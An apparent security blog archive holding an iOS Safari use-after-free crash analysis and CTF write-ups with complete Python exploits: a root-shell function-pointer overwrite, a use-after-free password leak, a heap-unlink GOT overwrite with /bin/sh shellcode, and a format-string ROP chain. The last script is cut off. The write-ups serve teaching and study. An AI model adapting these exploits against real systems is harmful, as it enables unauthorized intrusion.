Friday, August 1, 2014

Apple iOS Safari Use-After-Free Vulnerability - CVE-2014-1349

This is a vulnerability that I found along with my friend Dhanesh while fuzzing iOS Safari in iPad Mini. The POC could trigger a UAF if invalid URLs were used in SRC attribute. Below is the crash
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xe000000c
0x39f7cb26 in objc_msgSend ()
(gdb) info registers
r0             0x166afbe0       376110048
r1             0x32549ee6       844406502
r2             0x30108831       806389809
r3             0x3      3
r4             0x1658cdf0       374918640
r5             0x17826070       394420336
r6             0x0      0
r7             0x27d5ac2c       668314668
r8             0x166afbe0       376110048
r9             0xe0000000       -536870912
r10            0x17826070       394420336
r11            0x32549ee6       844406502
r12            0x3aaab220       984265248
sp             0x27d5ab98       668314520
lr             0x321756e3       840390371
pc             0x39f7cb26       972540710

(gdb) x/4x $r0
0x166afbe0: 0xe0000000 0xe0000000 0x00000002 0x00000032
(gdb) x/s $r1
0x32549ee6:  "lastObject"
(gdb) bt
#0  0x39f7cb26 in objc_msgSend ()
#1  0x321756e2 in <redacted> ()
(gdb) x/i $pc
0x39f7cb26:  b9 f8 0c c0                   ldrh.w       r12, [r9, #12]
The crash occured in objc_msgSend(). The first argument $r0 points to the receiver object and the selector being "lastObject" pointed by $r1. The receiver object pointed by $r0 is freed memory where 0xe0000000 at $r0 and $r0+4 are heap meta-data pointing to next and prevoius free chunks. In this case its NULL. The 3rd DWORD is the quanta size.
0x39f7cb20 <objc_msgSend+0>:  e8 b1        cbz r0, 0x39f7cb5e  -> check for NULL
0x39f7cb22 <objc_msgSend+2>:  d0 f8 00 90  ldr.w r9, [r0]      -> r9 is loaded from r0 which is freed memory ; class = self->isa
0x39f7cb26 <objc_msgSend+6>:  b9 f8 0c c0  ldrh.w r12, [r9, #12] -> r9 + 12 points to cache mask
0x39f7cb2a <objc_msgSend+10>: d9 f8 08 90  ldr.w r9, [r9, #8]  -> r9 + 8 points to cache; cache = class->cache
0x39f7cb2e <objc_msgSend+14>: 0c ea 01 0c  and.w r12, r12, r1  -> index
0x39f7cb32 <objc_msgSend+18>: 09 eb cc 09  add.w r9, r9, r12, lsl #3 -> r9 = cache + index << 3 ; compute cache entry
0x39f7cb36 <objc_msgSend+22>: d9 f8 00 c0  ldr.w r12, [r9]     -> fetch selector
0x39f7cb3a <objc_msgSend+26>: 9c ea 01 0f  teq r12, r1         -> check the selector
0x39f7cb3e <objc_msgSend+30>: 02 d1        bne.n 0x39f7cb46    -> if no cache hit
0x39f7cb40 <objc_msgSend+32>: d9 f8 04 c0  ldr.w r12, [r9, #4] -> fetch address of method
0x39f7cb44 <objc_msgSend+36>: 60 47        bx r12              -> jump to address
With control over freed memory pointed by $r0 and subsequent control over other pointers, one could use bx r12 to control program execution. This issue was assigned CVE-2014-1349 and fixed in iOS 7.1.2.

Monday, July 7, 2014

Pwnium CTF 2014 - Be a Robot - PWN 200 - [Team SegFault]

A 32-bit ELF was given for this challenge. The binary is simple which reads name and age.
[root@renorobert Pwnium]# ./pwn200
Name: A
Age: 20
Bye dude ;)
The vulnerability was in atExit function. This is what it looked like:
When the age is set to 0 or less, the function pointer is uninitialized.
 
[root@renorobert Pwnium]# ./pwn200
Name: A
Age: 0
Segmentation fault (core dumped)
To exploit this condition, we need to initialize the function pointer with user controlled data. The read_user function, reads 64 bytes of data using fgets into the stack. Later after this call returns, atExit uses the same stack area, thereby giving a possibility to initialize the value.

The idea of the exploit:
[*] Initialize function pointer with PLT address of system function
[*] Fill the stack with pointer to string 'sh' such that, call eax will transfer control to system() function with 'sh' parameter

Below is the exploit code:
#!/usr/bin/env python

import struct
import os

pipe_r, pipe_w = os.pipe()
pid = os.fork()

if pid == 0:
        # child process
        os.close(pipe_w)
        os.dup2(pipe_r, 0)
        os.execl("./pwn200", "./pwn200")

os.close(pipe_r)

payload  = struct.pack("<I", 0x08048c01) * 12   # sh string
payload += struct.pack("<I", 0x08048430)        # system()
payload += struct.pack("<I", 0x08048c01) * 3
payload += "0\n"                                # age value to trigger the issue

os.write(pipe_w, payload)
while 1:
    os.write(pipe_w, raw_input() + "\n")
The ctf server was down most of the time, so this exploit was tested only locally.
[root@renorobert Pwnium]# python exploit.py
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Pwnium CTF 2014 - Breakpoints - RE 300 - [Team SegFault]

We were given a 64-bit stripped ELF for this challenge. We need to generate a valid password for this executable.
[root@renorobert Pwnium]# ./re300
Password : A
:(
Analyzing the file in IDA, there was only 2 functions. Main function at 0x040661A and CheckPassword function at 0x040063A. The Main function had nothing interesting except a ptrace call for anti-debugging.

This is what CheckPassword looked like:
The CheckPassword function was large, so we decided to trace the interesting instructions in it, as the program executes. Idea was to supply arbitrary input and trace the execution.
[root@renorobert MyPinTool]# pin -t trace.so -- ./re300 
Password : Z
:(
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400de2: cmp eax, 0xe81c0d24
0x400ded: cmp eax, 0xe81c0d24
0x400e69: cmp eax, 0xf03ad87a
0x400e74: cmp eax, 0xf03ad87a
0x400eb8: cmp eax, 0xf487628c
0x400ec3: cmp eax, 0xf487628c
0x400eda: cmp eax, 0xf6fbb4e5
0x400ee5: cmp eax, 0xfe129837
0x40580e: cmp al, 0x44
0x40582d: cmp al, 0x64
0x40584c: cmp al, 0x31
0x40586b: cmp al, 0x34
0x40588a: cmp al, 0x2a
0x4058a9: cmp al, 0xb
0x4058c8: cmp al, 0x3d
0x4058e7: cmp al, 0x66
0x405906: cmp al, 0x63
0x405925: cmp al, 0x46
0x405944: cmp al, 0x36
0x405963: cmp al, 0x69
0x405982: cmp al, 0x6d
0x40599a: add qword ptr [rbp-0x8], 0x1
0x400586: sub rax, 0x606b20
0x40058c: cmp rax, 0xe
The user supplied value is compared against 0x44, 0x64 ,.., 0x6D. But there was no other computations performed. Looks like only comparisons are made with supplied password.
Lets try another run by supplying 0x44(D) as input.
[root@renorobert MyPinTool]# pin -t trace.so -- ./re300 
Password : D
:(
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400de2: cmp eax, 0xe81c0d24
0x400ded: cmp eax, 0xe81c0d24
0x400e69: cmp eax, 0xf03ad87a
0x400e74: cmp eax, 0xf03ad87a
0x400eb8: cmp eax, 0xf487628c
0x400ec3: cmp eax, 0xf487628c
0x400eda: cmp eax, 0xf6fbb4e5
0x400ee5: cmp eax, 0xfe129837
0x40580e: cmp al, 0x44
0x40581c: add qword ptr [rbp-0x8], 0x1
0x400586: sub rax, 0x606b20
0x40058c: cmp rax, 0xe
When the comparison succeeds, rest of the checks are skipped. That looked promising. Lets pass 2 bytes input as 'DZ'
[root@renorobert MyPinTool]# pin -t trace.so -- ./re300 
Password : DZ
:(
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400de2: cmp eax, 0xe81c0d24
0x400ded: cmp eax, 0xe81c0d24
0x400e69: cmp eax, 0xf03ad87a
0x400e74: cmp eax, 0xf03ad87a
0x400eb8: cmp eax, 0xf487628c
0x400ec3: cmp eax, 0xf487628c
0x400eda: cmp eax, 0xf6fbb4e5
0x400ee5: cmp eax, 0xfe129837
0x40580e: cmp al, 0x44
0x40581c: add qword ptr [rbp-0x8], 0x1
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400ce6: cmp eax, 0xcfcddef9
0x400cf1: cmp eax, 0xcfcddef9
0x400d6d: cmp eax, 0xd81f6c49
0x400d78: cmp eax, 0xd81f6c49
0x400d7f: cmp eax, 0xd28dcea2
0x400d8a: cmp eax, 0xd4f27687
0x400d95: cmp eax, 0xd2283d5c
0x401c5c: cmp al, 0x33
0x401c7b: cmp al, 0x23
0x401c9a: cmp al, 0x36
0x400586: sub rax, 0x606b20
0x40058c: cmp rax, 0xe
The first char is checked against 0x44 which succeeds. The second char is checked against 0x33(3), 0x23 and 0x36. So the next valid char is '3'. Thus by dumping the first checks of each block of comparison we got D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD
[root@renorobert Pwnium]# ./re300
Password : D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD
:)
So flag for the challenge is D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD

Tuesday, May 20, 2014

Defcon Quals 2014 - Gynophage - shitsco - [Use-After-Free Vulnerability]

This one again is 32 bit ELF protected with NX and Canary. The binary implements some operations as below:
Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ ?
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
======================================
Type ? followed by a command for more detailed information
Out of this, set and show commands where interesting. This is implemented using a doubly linked list. We re-wrote the routine at 0x08048EF0 which implements the data structure, to find the vulnerability.

The operations done on the linked list is below:
[*] Elements can be added
[*] Elements can be updated
[*] Elements can be removed

Structure declaration:
struct node
{
    char *name;
    char *valu;
    struct node *next;
    struct node *prev;
};

struct node init; // first node is allocated in bss

struct node *iter = &init;
Now, below is the code to handle these procedures:
/* First Variable */

if (var_valu != NULL && iter->name == NULL)
{
    iter->name = strdup(var_name);
    iter->valu = strdup(var_valu);
    return;     // iter->next is not cleared/patched during reallocation of head/next leading to use-after-free
}

/* iter->next->prev is not set to iter on reallocation */

/* Add Variable - Always added to end of list */

if (iter->name != NULL && iter->next == NULL)
{ 
    iter->next = (struct node *)calloc(1,16);
    iter->next->prev = iter;
    iter->next->name = strdup(var_name);
    iter->next->valu = strdup(var_valu); // iter->next->next not set to NULL, with calloc this is not an issue 
}

/* Delete Variable */

if (var_valu == NULL)
{
    if (iter->prev == NULL && iter->next != NULL)  // first node
    {
        iter->next->prev = NULL;
    } 
    else if (iter->next != NULL && iter->prev != NULL) // intermediate node
    {
        iter->prev->next = iter->next;
        iter->next->prev = iter->prev; 
    }
    else if (iter->prev != NULL && iter->next == NULL) // last node
    {
        iter->prev->next = NULL;
    }     

    free(iter->valu);     // Only node
    free(iter->name);
    iter->name = NULL;  
    iter->valu = NULL;     // iter->next is not set to NULL during delete

    if (iter != init)
    {
        free(iter);
    }
}

/* Update variable */
 
if (var_valu != NULL)
{
    free(iter->valu);
    iter->valu = strdup(var_valu);
}
 
Some observations are:
[*] When a value is added, the key value is checked by traversing the linked list nodes one by one. This starts with head in bss
[*] When head->key is NULL, its always allocated
[*] When key and value are set and key is already present is linked list, then update operation is performed
[*] When key is set and value is not set and key is already present is linked list, delete operation is done.

The vulnerability:
[*] Head node in bss does not clear/update its next pointer when its reallocated
[*] When head is reallocated the previous node pointer of next node is not re-linked

This results in next pointer of head element pointing to stray memory, resulting is use-after-free.
Allocate 3 objects:       NULL<- A <->  B  <-> C -> NULL

Delete A:                 NULL<-(A) ->  B  <-> C -> NULL
B's prev pointer is set to NULL, A's next pointer is stray

Allocate A:               NULL<- A  ->  B  <-> C -> NULL
B's prev pointer is not set to point to A

Delete B:                 NULL<- A  -> (B)  -> C -> NULL
since B's prev pointer is NULL, C's prev reference is set to NULL, thinking its the first element. A's next pointer is not cleared and free(B) is called leaving stray pointers in the linked list.
[root@renorobert Defcon2014]# valgrind --leak-check=full --show-reachable=yes ./shitsco_c8b1aa31679e945ee64bde1bdb19d035

For a command list, enter ?
$ set A BBBB
$ set B CCCC
$ set C DDDD
$ set A
$ set A EEEE
$ set B
$ show
A: EEEE
==20202== Invalid read of size 4
==20202==    at 0x8048E98: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> mov  eax, [ebx]; EBX is free in ShowValue
==20202==    by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> call dword ptr [ebp+10h]
==20202==    by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> call Cmd_Parse
==20202==    by 0x199CC5: (below main) (in /lib/libc-2.12.so)
==20202==  Address 0x402c388 is 0 bytes inside a block of size 16 free'd         
==20202==    at 0x400694F: free (vg_replace_malloc.c:446)
==20202==    by 0x80494BC: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> call SetValue : Free'd during SetValue
==20202==    by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x199CC5: (below main) (in /lib/libc-2.12.so)
==20202== 
==20202== Invalid read of size 4
==20202==    at 0x8048EBD: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035) -> mov edx, [ebx+4]; EBX is free in ShowValue
==20202==    by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x199CC5: (below main) (in /lib/libc-2.12.so)
==20202==  Address 0x402c390 is 8 bytes inside a block of size 16 free'd      
==20202==    at 0x400694F: free (vg_replace_malloc.c:446)
==20202==    by 0x80494BC: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x8048B95: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x80488C6: ??? (in /root/Desktop/Defcon2014/shitsco_c8b1aa31679e945ee64bde1bdb19d035)
==20202==    by 0x199CC5: (below main) (in /lib/libc-2.12.so)
==20202== 
C: DDDD
We could see that values are read from free'd heap due to stray pointers.
Now to exploit this issue, we need to reallocate user controlled data right in the place of Object B. The size of node is 16 bytes. The binary allocates string in heap using strdup() call. strdup() calls malloc internally as malloc(strlen(char *string) + 1). So by supplying 16 byte data, we could reallocate the freed object with 'set' command.

Below is the trigger to do so:
set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA
set AAAAAAAAAAAAAAA1 AAAAAAAAAAAAAAAA
set AAAAAAAAAAAAAAA2 AAAAAAAAAAAAAAAA
set AAAAAAAAAAAAAAA4 AAAAAAAAAAAAAAAA
set AAAAAAAAAAAAAAA0
set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA
set AAAAAAAAAAAAAAA1
set AAAAAAAAAAAAAAA4
set BBBBBBBBBBBBBBBB CCCCCCCCCCCCCCCC
show
[root@renorobert Defcon2014]# cat trigger | ./shitsco_c8b1aa31679e945ee64bde1bdb19d035

Core was generated by `./shitsco_c8b1aa31679e945ee64bde1bdb19d035'.
Program terminated with signal 11, Segmentation fault.
#0  0x001c5c91 in vfprintf () from /lib/libc.so.6
gdb-peda$ info registers 
eax            0x0 0x0
ecx            0xffffffff 0xffffffff
edx            0x43434343 0x43434343
ebx            0x30aff4 0x30aff4
esp            0xffed0bdc 0xffed0bdc
ebp            0xffed1168 0xffed1168
esi            0x30b4e0 0x30b4e0
edi            0x43434343 0x43434343
eip            0x1c5c91 0x1c5c91 
eflags         0x10246 [ PF ZF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
gdb-peda$ x/i $eip
=> 0x1c5c91 : repnz scas al,BYTE PTR es:[edi]
We could see that the free'd 2nd object is occupied by string CCCCCCCCCCCCCCCC and head object's next pointer points to this memory.
Now to get flag using this vulnerability, the adminbit at 0x0804C3C0 could be set and 'flag' command can be used to read flag. The use-after-free can be used to perform arbitrary write using the doubly-linked list delete operation.
{
  iter->prev->next = iter->next;
  iter->next->prev = iter->prev; 
}
Fake Object should be like:
[Heap address of key][Heap address of value][User controlled address/Valid writable address][address of adminBit-8]
With 'set "key"' as command, delete operation can be triggered so that iter->prev->next will set the adminBit. Then 'flag' can be used to read the flag. It was too late before we could trigger some info leak, to setup valid key:value address for free() call. Task went unsolved!

Updated:
What we could have done is set 0x804C3A0 as key:value pair for the reallocated object. 0x804C3A0 stores the password read from '/home/shitsco/password' and 'show' command would have printed this info.

Below is the POC to read password using UAF:
#!/usr/bin/env python

import struct
import telnetlib
import time

host = 'shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me'
port = 31337
host = '127.0.0.1'

con = telnetlib.Telnet(host, port)
t = con.read_until('$ ')
print t


fake_obj  = struct.pack("<I", 0x08049B08)  # set
fake_obj += struct.pack("<I", 0x0804C3A0)  # password
fake_obj += struct.pack("<I", 0x0804C2C4)  # valid Ptr to fake struct to prevent crash
fake_obj += struct.pack("<I", 0x0804C3C4)

con.write('set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA\n')
con.write('set AAAAAAAAAAAAAAA1 AAAAAAAAAAAAAAAA\n')
con.write('set AAAAAAAAAAAAAAA2 AAAAAAAAAAAAAAAA\n')
con.write('set AAAAAAAAAAAAAAA4 AAAAAAAAAAAAAAAA\n')
con.write('set AAAAAAAAAAAAAAA0\n')
con.write('set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA\n')
con.write('set AAAAAAAAAAAAAAA1\n')
con.write('set AAAAAAAAAAAAAAA4\n')
con.write('set BBBBBBBBBBBBBBBB ' + fake_obj + '\n')

con.write('show set\n')
time.sleep(2)
t = con.read_very_eager()
print t

Defcon Quals 2014 - Baby's First - Heap - [Team SegFault]

The 32-bit ELF allocates heap using sbrk() and then calls mprotect() to make is executable. One object of size 260 bytes can be overflowed.
[root@renorobert Defcon2014]# python -c 'print "A"*3000' | ./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=907F008][size=1246]
[ALLOC][loc=907F4F0][size=1 121]
[ALLOC][loc=907F958][size=947]
[ALLOC][loc=907FD10][size=741]
[ALLOC][loc=9080000][size=706]
[ALLOC][loc=90802C8][size=819]
[ALLOC][loc=9080600][size=673]
[ALLOC][loc=90808A8][size=1004]
[ALLOC][loc=9080C98][size=952]
[ALLOC][loc=9081058][size=755]
[ALLOC][loc=9081350][size=260]
[ALLOC][loc=9081458][size=877]
[ALLOC][loc=90817D0][size=1245]
[ALLOC][loc=9081CB8][size=1047]
[ALLOC][loc=90820D8][size=1152]
[ALLOC][loc=9082560][size=1047]
[ALLOC][loc=9082980][size=1059]
[ALLOC][loc=9082DA8][size=906]
[ALLOC][loc=9083138][size=879]
[ALLOC][loc=90834B0][size=823]
Write to object [size=260]:
Copied 3001 bytes.
[FREE][address=907F008]
[FREE][address=907F4F0]
[FREE][address=907F958]
[FREE][address=907FD10]
[FREE][address=9080000]
[FREE][address=90802C8]
[FREE][address=9080600]
[FREE][address=90808A8]
[FREE][address=9080C98]
[FREE][address=9081058]
[FREE][address=9081350]
Segmentation fault (core dumped)
gdb-peda$ x/i $eip
=> 0x80493ca <free+229>: mov    eax,DWORD PTR [eax]
gdb-peda$ info registers 
eax            0x4a495594 0x4a495594
ecx            0x907f004 0x907f004
edx            0x41414140 0x41414140
ebx            0x30aff4 0x30aff4
esp            0xffd9b690 0xffd9b690
ebp            0xffd9b6c8 0xffd9b6c8
esi            0x0 0x0
edi            0x0 0x0
eip            0x80493ca 0x80493ca <free+229>
eflags         0x10202 [ IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
gdb-peda$ x/x $ebp-0x20
0xffd9b6a8: 0x09081454
gdb-peda$ p/x 0x4a495594-0x09081454
$1 = 0x41414140

gdb-peda$ x/x 0x09081454
0x9081454: 0x41414140
0x09081454 points to object [ALLOC][loc=9081058][size=755].
gdb-peda$ x/4x 0x9081350-4
0x908134c: 0x00000108 0x41414141 0x41414141 0x41414141
At obj-4 resides the metadata, which is size of object. The metadata of adjacent object is overflowed, and free(0x9081350) uses this metadata. Below is the disassembly that can lead to write anything anywhere primitive using the overflowed data.
.text:080493BF    mov     eax, [ebp+var_20] ; address of next allocated object
.text:080493C2    mov     eax, [eax]  ; addr pointed by EAX(size) is overwritten due to overflow in 260 bytes object
.text:080493C4    and     eax, 0FFFFFFFEh
.text:080493C7    add     eax, [ebp+var_20] ; address of next allocated object + size
.text:080493CA    mov     eax, [eax]        ; crash here  -> Out of bound read
.text:080493CC    and     eax, 1
.text:080493CF    test    eax, eax
.text:080493D1    jnz     short loc_8049402 ; skip this jump
.text:080493D3    mov     eax, [ebp+var_20] 
.text:080493D6    mov     eax, [eax]  
.text:080493D8    and     eax, 0FFFFFFFEh
.text:080493DB    add     [ebp+size], eax  
.text:080493DE    mov     eax, [ebp+var_20]
.text:080493E1    mov     eax, [eax+8]  ; next_obj+8
.text:080493E4    mov     [ebp+header], eax
.text:080493E7    mov     eax, [ebp+var_20]
.text:080493EA    mov     eax, [eax+4]  ; next_obj+4
.text:080493ED    mov     [ebp+header2], eax
.text:080493F0    mov     eax, [ebp+header2]
.text:080493F3    mov     edx, [ebp+header]
.text:080493F6    mov     [eax+8], edx     ; arbitrary write here
.text:080493F9    mov     eax, [ebp+header]
.text:080493FC    mov     edx, [ebp+header2]
.text:080493FF    mov     [eax+4], edx     ; another write
[root@renorobert Defcon2014]# python -c 'import struct;print "A"*260 + struct.pack("<I", 0x1) + "BBBBCCCC"' | ./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c
gdb-peda$ x/10i $eip
=> 0x80493f6 <free+273>: mov    DWORD PTR [eax+0x8],edx
   0x80493f9 <free+276>: mov    eax,DWORD PTR [ebp-0x24]
   0x80493fc <free+279>: mov    edx,DWORD PTR [ebp-0x28]
   0x80493ff <free+282>: mov    DWORD PTR [eax+0x4],edx
   0x8049402 <free+285>: mov    eax,DWORD PTR [ebp-0xc]
   0x8049405 <free+288>: mov    eax,DWORD PTR [eax]
   0x8049407 <free+290>: and    eax,0x1
   0x804940a <free+293>: mov    edx,eax
   0x804940c <free+295>: or     edx,DWORD PTR [ebp-0x10]
   0x804940f <free+298>: mov    eax,DWORD PTR [ebp-0xc]
gdb-peda$ info registers 
eax            0x42424242 0x42424242
ecx            0x8689004 0x8689004
edx            0x43434343 0x43434343
ebx            0x30aff4 0x30aff4
esp            0xffde0cc0 0xffde0cc0
ebp            0xffde0cf8 0xffde0cf8
esi            0x0 0x0
edi            0x0 0x0
eip            0x80493f6 0x80493f6 <free+273>
eflags         0x10206 [ PF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
[*] At 0x80493f6, [header+8] is overwritten with user supplied value of header2
[*] At 0x80493ff, [header2+4] is overwritten user suppled value of header

Exploitation is trivial:
[*] Set header to GOT address of printf - 8
[*] Set header2 to address of object which holds the address our shellcode
[*] During free(), the GOT of printf() is overwritten with address of shellcode
[*] During the next call to printf() before free() is called, shellcode is executed

Below is the full exploit:
#!/usr/bin/env python

import struct
import telnetlib
import re

host = 'babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me'
host = '127.0.0.1'
port = 4088
con = telnetlib.Telnet(host, port)

# http://shell-storm.org/shellcode/files/shellcode-752.php
nop = "\x90" * 30
shellcode = nop + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" 

gotprintf = 0x0804c004

t = con.read_until('Write to object [size=260]:')
print t

addr_objc = re.search("\[ALLOC\]\[loc=([a-fA-F\d]{7})\]\[size=260\]",t)
addr_objc = int(addr_objc.groups()[0],16)

payload  = "\x90\x90\xeb\x1c" # jmp patch 
payload += shellcode +  "A"* (260 - len(payload) - len(shellcode))
payload += struct.pack("<I", 0x1)
payload += struct.pack("<I", gotprintf - 8)
payload += struct.pack("<I", addr_objc)
con.write(payload + "\n")
con.interact()
Flag for the challenge is Good job on that doubly linked list. Why don't you try something harder!!OMG!!

Wednesday, March 12, 2014

RuCTF Quals 2014 - Aggregator - Vuln 200 - [Team SegFault]

Vuln 200 is a 32 bit ELF protected with NX and ASLR enabled and no RELRO. This is what it looked like:
[ctf@renorobert ructf]$ nc 192.168.122.100 16711
> a
Available commands:
help -- show this message
quit -- quit
rating -- show player rating
summary <player_name> -- show the main stats of the player
stats <player_name> -- show all the stats of the player
The stats command lead way to a format string vulnerability as the player_name input is directly used in vsnprintf() call. Now this vulnerabilty can be used to take control of EIP.

The choice was to overwrite GOT entry of strncmp(). Reason is, we could reach the buffer used by read() call so that NUL bytes can be used. This is what the read() call looked like
.text:0804A6D0                 mov     [esp+428h+nbytes], 3E8h ; nbytes
.text:0804A6D8                 lea     eax, [ebp+s]
.text:0804A6DE                 mov     [esp+428h+buf], eax ; buf
.text:0804A6E2                 mov     eax, [ebp+fd]
.text:0804A6E5                 mov     [esp+428h+descriptor], eax ; fd
.text:0804A6E8                 call    _read
.text:0804A6ED                 mov     [ebp+var_C], eax
.text:0804A6F0                 cmp     [ebp+var_C], 0
.text:0804A6F4                 jz      short loc_804A70D
.text:0804A6F6                 mov     eax, [ebp+arg_4]
.text:0804A6F9                 mov     [esp+428h+buf], eax ; s
.text:0804A6FD                 lea     eax, [ebp+s]
.text:0804A703                 mov     [esp+428h+user_input], eax 
.text:0804A706                 call    check_options

; check_options
.text:0804A592                 push    ebp
.text:0804A593                 mov     ebp, esp
.text:0804A595                 sub     esp, 28h
.text:0804A598                 mov     [esp+28h+n], 4  ; n
.text:0804A5A0                 mov     [esp+28h+c], offset aQuit ; "quit"
.text:0804A5A8                 mov     eax, [ebp+user_input]
.text:0804A5AB                 mov     [esp+28h+dest], eax
.text:0804A5AE                 call    _strncmp ; EAX holds the address of buffer used by read()
With EAX holding address pointing to user input, there is nice gadget to pivot the stack
0x08048ab8: xchg eax, esp; ret
Using the format string vulnerability, the GOT entry of strncmp() can be overwritten with address of stack pivot gadget to move ESP to buffer used by read(). Now we have both EIP and ESP under control. The idea was to use a ROP payload to call system().

Things didn't go as per plan. Remote machine was running Linux saper 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 for which a matching libc couldn't be found. Approaches to find/brute system() offset failed. Next attempt was to use a ROP payload to call fopen() to read flag file, hoping that file name would something like 'key' or 'flag'. That didn't work either.

Then we decided to dump the directory list using the following payload:

[*] Overwrite strncmp() to pivot stack into buffer used by read()
[*] Again, shift the stack into bss, to make use of some gadgets
[*] Call opendir() with /home/ directory
[*] Write the pointer returned by opendir() into bss, later leak it using write()
[*] Call readdir() with this leaked address
[*] Dump the memory region using write()
#!/usr/bin/env python

import struct
import telnetlib

ip = '192.168.122.100'
ip = 'vuln1.quals.ructf.org'
port = 16711

plt_write = 0x08048d00
plt_exit = 0x08048ca0
plt_read = 0x08048b90
got_strncmp = 0x0804c3bc
bss = 0x0804c500
option = "stats "
format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload

con = telnetlib.Telnet(ip, port)
con.read_until('>')

#  overwrite strncmp using format string
payload  = option
payload += struct.pack("<I", got_strncmp)
payload += format_str
con.write(payload + "\n")
con.read_until('>')

payload  = struct.pack("<I", plt_read)
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", bss)
payload += struct.pack("<I", 0x400)
payload += struct.pack("<I", 0x08048a48) # pop esp; ret
payload += struct.pack("<I", bss)

con.write(payload + "\n")
file_to_read = "/home/tasks/aggregator/ctf/" 
file_to_read = file_to_read + "\x00" * (40 - len(file_to_read))

payload  = struct.pack("<I", 0x08048eb0) # opendir@plt
payload += struct.pack("<I", 0x08049544) # pop ebp ; ret
payload += struct.pack("<I", bss+356)

payload += struct.pack("<I", 0x0804aa3e) # pop edi ; pop ebp ; ret
payload += struct.pack("<I", 64)         # for edi
payload += struct.pack("<I", 0x41414141) # junk for ebp
payload += struct.pack("<I", 0x08048b51) # pop ebx
payload += struct.pack("<I", bss+396)    # bss address holding address of 3pop reg gadget
payload += struct.pack("<I", 0x08048a48) # pop esp, ret
payload += struct.pack("<I", bss+400)    # move stack to write the return value of opendir()

#payload += struct.pack("<I", 0x08048991)*3
payload += struct.pack("<I", 0x08048dc0) # readdir@plt
payload += struct.pack("<I", 0x08049544) # pop ebp ; ret
payload += struct.pack("<I", 0x086891f8) # address of stream ; leaked after call to opendir()

payload += struct.pack("<I", plt_write)
payload += struct.pack("<I", plt_exit)
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", 0x086891f8)
payload += struct.pack("<I", 0x4000)
# opendir heap address leak
